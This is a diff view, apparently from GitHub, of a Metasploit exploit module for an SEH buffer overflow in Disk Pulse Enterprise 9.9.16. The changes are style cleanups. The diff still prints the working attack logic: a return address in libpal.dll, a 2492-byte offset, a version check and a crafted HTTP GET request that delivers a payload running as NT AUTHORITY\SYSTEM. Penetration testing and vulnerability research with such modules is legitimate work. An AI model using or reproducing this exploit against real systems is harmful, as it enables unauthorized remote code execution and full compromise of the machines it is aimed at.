3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = ExcellentRanking
10
8
@@ -14,12 +12,12 @@ class MetasploitModule < Msf::Exploit::Remote
14
12
def initialize ( info = { } )
15
13
super ( update_info ( info ,
16
14
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow' ,
17
- 'Description' => %q{
15
+ 'Description' => %q(
18
16
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
19
17
9.9.16. If a malicious user sends a crafted HTTP GET request
20
18
it is possible to execute a payload that would run under the Windows
21
19
NT AUTHORITY\SYSTEM account.
22
- } ,
20
+ ) ,
23
21
'License' => MSF_LICENSE ,
24
22
'Author' =>
25
23
[
@@ -46,24 +44,22 @@ def initialize(info = {})
46
44
{
47
45
'Ret' => 0x1013ADDD , # POP EDI POP ESI RET 04 -- libpal.dll
48
46
'Offset' => 2492
49
- }
50
- ] ,
47
+ } ]
51
48
] ,
52
49
'Privileged' => true ,
53
50
'DisclosureDate' => 'Aug 25 2017' ,
54
51
'DefaultTarget' => 0 ) )
55
52
56
- register_options ( [ Opt ::RPORT ( 80 ) ] , self . class )
57
-
53
+ register_options ( [ Opt ::RPORT ( 80 ) ] )
58
54
end
59
55
60
56
def check
61
- res = send_request_cgi ( {
62
- 'uri' => '/' ,
63
- 'method' => 'GET'
64
- } )
57
+ res = send_request_cgi (
58
+ 'uri' => '/' ,
59
+ 'method' => 'GET'
60
+ )
65
61
66
- if res and res . code == 200 and res . body =~ /Disk Pulse Enterprise v9\. 9\. 16/
62
+ if res && res . code == 200 && res . body =~ /Disk Pulse Enterprise v9\. 9\. 16/
67
63
return Exploit ::CheckCode ::Appears
68
64
end
69
65
@@ -83,15 +79,14 @@ def exploit
83
79
84
80
print_status ( "Sending exploit..." )
85
81
86
- res = send_request_cgi ( {
87
- 'uri' => '/../' + exp ,
88
- 'method' => 'GET' ,
89
- 'host' => '4.2.2.2' ,
90
- 'connection' => 'keep-alive'
91
- } )
92
-
93
- handler
94
- disconnect
82
+ send_request_cgi (
83
+ 'uri' => '/../' + exp ,
84
+ 'method' => 'GET' ,
85
+ 'host' => '4.2.2.2' ,
86
+ 'connection' => 'keep-alive'
87
+ )
95
88
89
+ handler
90
+ disconnect
96
91
end
97
92
end
0 commit comments